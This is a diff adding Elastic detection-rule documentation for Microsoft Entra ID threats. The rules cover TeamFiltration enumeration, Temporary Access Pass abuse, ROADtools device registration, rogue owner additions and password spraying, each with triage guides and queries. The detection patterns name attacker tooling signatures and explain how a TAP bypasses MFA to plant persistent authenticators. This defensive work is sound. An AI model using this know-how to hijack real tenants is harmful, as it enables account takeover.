identity executed the API requests or sign-in attempts. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). TeamFiltration uses a list of FOCI compliant applications to perform enumeration and password spraying. TeamFiltration uses Microsoft Teams client ID `1fec8e78-bce4-4aaf-ab1b-5451cc387264` for enumeration. +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip` or `client.geo.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. Check the for the use of several source addresses originating from Amazon ASNs (e.g., `AS16509`, `AS14618`, `AS14618`) which are commonly used by TeamFiltration as it proxies requests through FireProx and Amazon API Gateway. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. + + +*Response and remediation* + + +- If confirmed malicious: + - Identify successful sign-in attempts or API calls made by the user or app. + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source or user (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:("azure.signinlogs" or "o365.audit") + and ((user_agent.name:"Electron" and user_agent.os.name:"Windows" and user_agent.version:"8.5.1") or + user_agent.original:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.30866 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-temporary-access-pass-created-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-temporary-access-pass-created-for-user.asciidoc new file mode 100644 index 0000000000..31654e72d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-temporary-access-pass-created-for-user.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-entra-id-temporary-access-pass-created-for-user]] +=== Entra ID Temporary Access Pass Created for User + +Identifies the creation of a Temporary Access Pass (TAP) for an Entra ID user account. A TAP is a time-limited passcode that allows passwordless authentication and bypasses existing MFA requirements, including phishing-resistant methods. An attacker with User Administrator or Authentication Administrator privileges can issue a TAP for a target account, sign in without the current password, and register new persistent authentication methods before the TAP expires. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/authentication/howto-authentication-temporary-access-pass +* https://dirkjanm.io/lateral-movement-and-hash-dumping-with-temporary-access-passes-microsoft-entra/ +* https://specterops.io/blog/2023/03/29/id-tap-that-pass/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic +* descambiado + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Temporary Access Pass Created for User* + + +A Temporary Access Pass is a time-limited credential that bypasses all existing MFA factors for the +target account. In a steady-state tenant, TAP creation is rare and should be correlated against help +desk records or onboarding workflows. + + +*Possible investigation steps* + + +- Identify the administrator who created the TAP (`azure.auditlogs.properties.initiated_by`) and verify + whether the action was authorized by a help desk ticket or change management record. +- Identify the target account and assess its privilege level -- TAPs issued for Global Administrators, + Application Administrators, or accounts with high-value data access are highest risk. +- Check for sign-ins by the target account using the TAP credential: look for sign-ins where + `azure.signinlogs.properties.authentication_details` contains "Temporary Access Pass" shortly after + the TAP creation event. +- If the TAP was used to sign in, review what authentication methods were registered during or after + the session -- an attacker will use the TAP window to add a persistent authenticator. +- Check whether the creating administrator's account shows anomalous activity in the preceding 24 hours. + + +*False positive analysis* + + +- TAP creation by your identity team for locked-out users is a legitimate workflow. Confirm via help + desk ticket correlation. +- New employee onboarding that provisions TAPs as part of passwordless enrollment is expected behavior. + + +*Response and remediation* + + +- Revoke the TAP immediately if unauthorized: Entra ID > Users > Authentication methods. +- Audit all authentication methods registered by the target account after TAP creation and remove any + that were not previously present. +- Reset the target account's password and revoke all active sessions. +- Review the creating administrator's recent actions for signs of compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and +( + ( + azure.auditlogs.operation_name: "User registered security info" and + azure.auditlogs.properties.result_reason: "User registered temporary access pass method" + ) or ( + azure.auditlogs.operation_name: "Create Temporary Access Pass method for user" + ) or ( + azure.auditlogs.operation_name: "Admin registered security info" and + azure.auditlogs.properties.target_resources.*.modified_properties.*.display_name: *TemporaryAccessPass* + ) +) and +event.outcome: ("Success" or "success") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-unusual-cloud-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-unusual-cloud-device-registration.asciidoc new file mode 100644 index 0000000000..5f3cc011be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-unusual-cloud-device-registration.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-entra-id-unusual-cloud-device-registration]] +=== Entra ID Unusual Cloud Device Registration + +Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Unusual Cloud Device Registration* + + +This rule detects a sequence of Microsoft Entra ID audit events consistent with cloud device registration abuse via ROADtools or similar automation frameworks. The activity includes three correlated events: + +1. Add device operation from the Device Registration Service using suspicious user-agents (`Dsreg/*`, `DeviceRegistrationClient`, or `Microsoft.OData.Client/*`). +2. Addition of a registered user with an `enterprise registration` URN. +3. Assignment of a registered owner to the device. + +This pattern has been observed in OAuth phishing and PRT abuse campaigns where adversaries silently register a cloud device to obtain persistent, trusted access. + + +*Possible investigation steps* + + +- Identify the user principal associated with the device registration. +- Review the `azure.auditlogs.identity` field to confirm the Device Registration Service initiated the request. +- Check the user-agent in `azure.auditlogs.properties.additional_details.value`. Known attack tooling signatures include: + - `Dsreg/10.0 (Windows X.X.X)` - ROADtools Windows device registration + - `DeviceRegistrationClient` - ROADtools MacOS/Android device registration + - `Microsoft.OData.Client/*` - .NET-based tools or Graph SDK +- Examine the OS version in the modified properties to identify potentially suspicious or outdated versions. +- Verify the URN in the new value field (`urn:ms-drs:enterpriseregistration.windows.net`) is not being misused. +- Use `azure.correlation_id` to pivot across all three steps of the registration flow. +- Pivot to `azure.signinlogs` to detect follow-on activity using the new device, such as sign-ins involving refresh or primary refresh tokens. +- Look for signs of persistence or lateral movement enabled by the newly registered device. +- Identify the registered device name by reviewing `azure.auditlogs.properties.target_resources.0.display_name` and confirm it's expected for the user or organization. +- Use the correlation ID `azure.correlation_id` to pivot into registered user events from Entra ID audit logs and check `azure.auditlogs.properties.target_resources.0.user_principal_name` to identify the user associated with the device registration. +- Review any activity for this user from Entra ID sign-in logs, where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Some MDM, autopilot provisioning flows, or third-party device management tools may generate similar sequences. Validate against known provisioning tools, expected rollout windows, and device inventory. +- Investigate whether the device name, OS version, and registration details align with normal IT workflows. +- Check if the user-agent corresponds to legitimate automation or tooling used by your organization. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID. +- Revoke refresh tokens and primary refresh tokens associated with the user and device. +- Disable the user account and initiate password reset and identity verification procedures. +- Review audit logs and sign-in activity for additional indicators of persistence or access from the rogue device. +- Tighten conditional access policies to restrict device registration and enforce compliance or hybrid join requirements. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.correlation_id with maxspan=5m +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.identity == "Device Registration Service" and + azure.auditlogs.operation_name == "Add device" and + ( + azure.auditlogs.properties.additional_details.value like "Microsoft.OData.Client/*" or + azure.auditlogs.properties.additional_details.value like "Dsreg/*" or + azure.auditlogs.properties.additional_details.value == "DeviceRegistrationClient" + ) and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name` == "CloudAccountEnabled" and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value` == "[true]"] +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered users to device" and + `azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value` like "*urn:ms-drs:enterpriseregistration.windows.net*"] +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered owner to device"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-registered-application-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-registered-application-owner.asciidoc new file mode 100644 index 0000000000..104fca8312 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-registered-application-owner.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-entra-id-user-added-as-registered-application-owner]] +=== Entra ID User Added as Registered Application Owner + +Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Registered Application Owner* + + +Azure applications often require specific permissions for functionality, managed by assigning user roles. An adversary might exploit this by adding themselves or a compromised account as an owner, gaining elevated privileges to alter configurations or access sensitive data. The detection rule monitors audit logs for successful operations where a user is added as an application owner, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the operation by filtering for event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" with a successful outcome. +- Identify the user account that was added as an owner and the account that performed the operation to determine if they are legitimate or potentially compromised. +- Check the history of activities associated with both the added owner and the account that performed the operation to identify any suspicious behavior or patterns. +- Verify the application's current configuration and permissions to assess any changes made after the new owner was added. +- Contact the legitimate owner or administrator of the Azure application to confirm whether the addition of the new owner was authorized. +- Investigate any recent changes in the organization's user access policies or roles that might explain the addition of a new owner. + + +*False positive analysis* + + +- Routine administrative actions: Regular maintenance or updates by IT staff may involve adding users as application owners. To manage this, create a list of authorized personnel and exclude their actions from triggering alerts. +- Automated processes: Some applications may have automated scripts or services that add users as owners for operational purposes. Identify these processes and configure exceptions for their activities. +- Organizational changes: During mergers or restructuring, there may be legitimate reasons for adding multiple users as application owners. Temporarily adjust the rule to accommodate these changes and review the audit logs manually. +- Testing and development: In development environments, users may be added as owners for testing purposes. Exclude these environments from the rule or set up a separate monitoring policy with adjusted thresholds. + + +*Response and remediation* + + +- Immediately revoke the added user's owner permissions from the Azure application to prevent further unauthorized access or configuration changes. +- Conduct a thorough review of recent activity logs for the affected application to identify any unauthorized changes or data access that may have occurred since the user was added as an owner. +- Reset credentials and enforce multi-factor authentication for the compromised or suspicious account to prevent further misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals broader compromise. +- Implement additional monitoring on the affected application and related accounts to detect any further unauthorized access attempts or privilege escalations. +- Review and update access control policies to ensure that only authorized personnel can modify application ownership, and consider implementing stricter approval processes for such changes. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-service-principal-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-service-principal-owner.asciidoc new file mode 100644 index 0000000000..974fe9530f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-added-as-service-principal-owner.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-entra-id-user-added-as-service-principal-owner]] +=== Entra ID User Added as Service Principal Owner + +Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Service Principal Owner* + + +Azure service principals are crucial for managing application permissions within a tenant, defining access and capabilities. Adversaries may exploit this by adding themselves as owners, gaining control over application permissions and access. The detection rule monitors audit logs for successful owner additions, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the audit log entry to confirm the event dataset is 'azure.auditlogs' and the operation name is "Add owner to service principal" with a successful outcome. +- Identify the user account that was added as an owner and gather information about this account, including recent activity and any associated alerts. +- Determine the service principal involved by reviewing its details, such as the application it is associated with and the permissions it holds. +- Check the history of changes to the service principal to identify any other recent modifications or suspicious activities. +- Investigate the context and necessity of the ownership change by contacting the user or team responsible for the service principal to verify if the change was authorized. +- Assess the potential impact of the ownership change on the tenant's security posture, considering the permissions and access granted to the service principal. + + +*False positive analysis* + + +- Routine administrative changes may trigger alerts when legitimate IT staff add themselves or others as owners for maintenance purposes. To manage this, create exceptions for known administrative accounts that frequently perform these actions. +- Automated processes or scripts that manage service principal ownership as part of regular operations can cause false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags. +- Organizational changes, such as team restructuring, might lead to multiple legitimate ownership changes. During these periods, temporarily adjust the rule sensitivity or create temporary exceptions for specific user groups involved in the transition. +- Third-party applications that require ownership changes for integration purposes can also trigger alerts. Verify these applications and whitelist their associated service principal changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the added user's ownership from the Azure service principal to prevent unauthorized access and control. +- Conduct a thorough review of the affected service principal's permissions and access logs to identify any unauthorized changes or access attempts. +- Reset credentials and update any secrets or keys associated with the compromised service principal to mitigate potential misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict who can add owners to service principals, ensuring only authorized personnel have this capability. +- Enhance monitoring and alerting for similar activities by increasing the sensitivity of alerts related to changes in service principal ownership. +- Document the incident and response actions taken to improve future incident response and refine security policies. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to service principal" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-reported-suspicious-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-reported-suspicious-activity.asciidoc new file mode 100644 index 0000000000..e359c3765d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-reported-suspicious-activity.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-entra-id-user-reported-suspicious-activity]] +=== Entra ID User Reported Suspicious Activity + +Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://chris-brumm.medium.com/microsoft-entra-mfa-fraud-deep-dive-7764fd8f76ad +* https://janbakker.tech/report-suspicious-activity-fraud-alert-for-azure-mfa/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 7 + +*Rule authors*: + +* Elastic +* Willem D'Haese + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID User Reported Suspicious Activity* + + +This rule detects when a user in Microsoft Entra ID reports suspicious activity associated with their account. This feature is often used to report MFA fatigue or unsolicited push notifications, and is logged during authentication flows involving methods like Microsoft Authenticator. Such events may indicate that an attacker attempted unauthorized access and triggered a push that was denied or flagged by the user. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.identity` field to identify the reporting user. +- Confirm that `event.action` is `"Suspicious activity reported"` and the result was `"success"`. +- Check the `azure.auditlogs.properties.additional_details` array for `AuthenticationMethod`, which shows how the login attempt was performed (e.g., `PhoneAppNotification`). +- Look at the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `displayName` to confirm which user reported the suspicious activity. +- Investigate recent sign-in activity (`signinlogs`) for the same user. Focus on: + - IP address geolocation and ASN. + - Device, operating system, and browser. + - MFA prompt patterns or unusual login attempts. +- Determine whether the user actually initiated a login attempt, or if it was unexpected and aligns with MFA fatigue or phishing attempts. +- Correlate this report with any risky sign-in detections, conditional access blocks, or password resets in the past 24–48 hours. + + +*False positive analysis* + + +- Users unfamiliar with MFA push notifications may mistakenly report legitimate sign-in attempts. +- Shared accounts or device switching can also trigger unintended notifications. +- Legitimate travel or network changes might confuse users into thinking activity was malicious. + + +*Response and remediation* + + +- Contact the user to validate the suspicious activity report and assess whether they were targeted or tricked by a malicious actor. +- If the report is confirmed to be valid: + - Reset the user’s credentials immediately. + - Revoke active sessions and refresh tokens. + - Review their activity across Microsoft 365 services for signs of compromise. +- If other users report similar behavior around the same time, assess for a broader MFA fatigue campaign or targeted phishing. +- Consider tuning conditional access policies to require number matching or stronger MFA mechanisms. +- Educate users on reporting suspicious MFA prompts and following up with IT/security teams promptly. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name: "Suspicious activity reported" + and azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + and azure.auditlogs.properties.target_resources.*.type: "User" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..f540550f67 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-brute-force-attempted.asciidoc @@ -0,0 +1,271 @@ +[[prebuilt-rule-8-19-34-entra-id-user-sign-in-brute-force-attempted]] +=== Entra ID User Sign-in Brute Force Attempted + +Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: 